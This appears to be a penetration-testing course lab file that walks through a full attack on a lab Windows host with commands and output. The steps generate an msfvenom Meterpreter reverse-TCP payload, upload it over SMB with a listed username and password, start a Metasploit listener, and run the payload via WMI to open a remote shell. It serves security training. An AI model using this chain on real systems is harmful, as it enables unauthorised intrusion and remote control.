



Activity File: msfvenom

In this activity, you will create a custom payload with **msfvenom**, transfer it to the designated host, and then run it with WMI.

⚠ Reminder: Don't forget to save your findings, as you will add them to your Week 17 Homework!

Instructions

1. Make sure you're in your home directory and then generate a Windows Meterpreter payload using the following commands:

- `cd ~`
- `msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.117.100 LPORT=4444 -f exe > shell.exe`

```
(root@kali)-[~]
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.117.100 LPORT=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

2. Next, use SMBClient in Kali to interact with the Windows machine's file system over SMB. To connect to the remote filesystem, type: `smbclient //172.22.117.20/C$ -U megacorpone/tstark`
 - This connects to the **C** drive on the remote machine as the user **tstark**.
3. You will then be asked for a password. Input **tstark's** password: **Password!**
4. List the files in the current directory using the following command:
 - `ls`

```

(root@kali)~# smbclient //172.22.117.20/C$ -U megacorpone/tstark
Enter MEGACORPONE\tstark's password:
Try "help" to get a list of possible commands.
smb: \> LS
$Recycle.Bin                DHS            0   Sat Jan 15 10:38:46 2022
$WinREAgent                 DH              0   Tue Oct 19 15:30:59 2021
bootmgr                     AHSR          413738 Sat Dec  7 04:08:37 2019
BOOTNXT                     AHS             1   Sat Dec  7 04:08:37 2019
Documents and Settings      DHSrn          0   Mon May 10 08:16:44 2021
DumpStack.log.tmp           AHS            8192   Sat Jan 15 11:48:24 2022
pagefile.sys                AHS 1811939328 Sat Jan 15 11:48:24 2022
PerfLogs                    D               0   Sat Dec  7 04:14:16 2019
Program Files               DR              0   Mon May 10 10:37:15 2021
Program Files (x86)         DR              0   Thu Nov 19 02:33:53 2020
ProgramData                 DHn            0   Sat Jan 15 11:37:08 2022
Recovery                   DHSn           0   Mon May 10 08:16:51 2021
swapfile.sys                AHS 268435456  Sat Jan 15 11:48:24 2022
System Volume Information   DHS            0   Mon May 10 01:19:02 2021
Users                       DR              0   Sat Jan 15 10:38:18 2022
Windows                     D               0   Sat Jan 15 11:26:17 2022

                                     33133914 blocks of size 4096. 27097119 blocks available
smb: \> █

```

5. Upload your payload via the following command:

- `put shell.exe`

```

smb: \> put shell.exe
putting file shell.exe as \shell.exe (10295.9 kb/s) (average 10296.0 kb/s)
smb: \> ls
$Recycle.Bin                DHS          0 Sat Jan 15 10:38:46 2022
$WinREAgent                 DH           0 Tue Oct 19 15:30:59 2021
bootmgr                     AHSR        413738 Sat Dec 7 04:08:37 2019
BOOTNXT                     AHS          1 Sat Dec 7 04:08:37 2019
Documents and Settings      DHSrn        0 Mon May 10 08:16:44 2021
DumpStack.log.tmp           AHS          8192 Sat Jan 15 11:48:24 2022
pagefile.sys                AHS 1811939328 Sat Jan 15 11:48:24 2022
PerfLogs                    D            0 Sat Dec 7 04:14:16 2019
Program Files               DR           0 Mon May 10 10:37:15 2021
Program Files (x86)         DR           0 Thu Nov 19 02:33:53 2020
ProgramData                 DHn          0 Sat Jan 15 11:37:08 2022
Recovery                   DHSn         0 Mon May 10 08:16:51 2021
shell.exe                   A           73802 Sat Jan 15 11:54:23 2022
swapfile.sys                AHS 268435456 Sat Jan 15 11:48:24 2022
System Volume Information   DHS          0 Mon May 10 01:19:02 2021
Users                       DR           0 Sat Jan 15 10:38:18 2022
Windows                     D            0 Sat Jan 15 11:26:17 2022

33133914 blocks of size 4096. 27097328 blocks available
smb: \>

```

- Now that the payload is on the remote system, we can execute it using the WMI module in Metasploit. Before doing that, though, we need to ensure that Metasploit is listening for our payload to execute.
6. In Metasploit, select the `exploit/multi/handler` module, and configure it to match the payload settings by using the following commands:
- `use exploit/multi/handler`
 - `set payload windows/meterpreter/reverse_tcp`
 - `set LHOST [IP ADDRESS]`
 - `set LPORT 4444`
 - `exploit -j`

```
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

  Name      Current Setting  Required  Description
  ---      -
  PAYLOAD   process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.22.117.100  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.22.117.100  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Wildcard Target
```

- **Note:** The `-j` argument in `exploit -j` means to run in the background. This ensures that our listener is constantly listening and we can use Metasploit with it listening in the background.

7. Now, switch to the WMI module.

- use `scanner/smb/impacket/wmiexec`

8. Fill in the SMBPass, SMBUser, SMBDomain, and RHOSTS parameters, if not done already.

9. For COMMAND, put in the path of the payload that you uploaded on the remote machine. If you did not change directories when uploading via SMBClient, then the payload will be located in `C:\`.

- `set COMMAND C:\shell.exe`

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > options

Module options (auxiliary/scanner/smb/impacket/wmiexec):

  Name      Current Setting  Required  Description
  ---      -
  COMMAND   C:\shell.exe     yes       The command to execute
  OUTPUT    true             yes       Get the output of the executed command
  RHOSTS    172.22.117.20   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  SMBDomain megacorpone      no        The Windows domain to use for authentication
  SMBPass   Password!        yes       The password for the specified username
  SMBUser   tstark           yes       The username to authenticate as
  THREADS   1               yes       The number of concurrent threads (max one per host)
```

10. Run the module with the command `run`. The message "Meterpreter session 1 opened" should appear, as the following image shows:

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*] Sending stage (175174 bytes) to 172.22.117.20
[*] Meterpreter session 1 opened (172.22.117.100:4444 → 172.22.117.20:61644 ) at 2022-01-15 12:11:24 -0500
```

- **Note:** After the message appears, the exploit will seem to "hang." You can safely use Ctrl + C once to exit the prompt. Your session will still be opened.

11. To view active sessions, type `sessions` and select the session based on the ID via the following command:

- `sessions -i [session ID]`

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > sessions -i

Active sessions
-----

```

Id	Name	Type	Information	Connection
1		meterpreter	x86/windows MEGACORPONE\tstark @ WINDOWS10	172.22.117.100:4444 → 172.22.117.20:61644 (172.22.117.20)

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > sessions -i 1
[*] Starting interaction with 1...
```

12. `meterpreter > █`

Congratulations! You successfully created, transferred, and executed a custom payload on a Windows machine.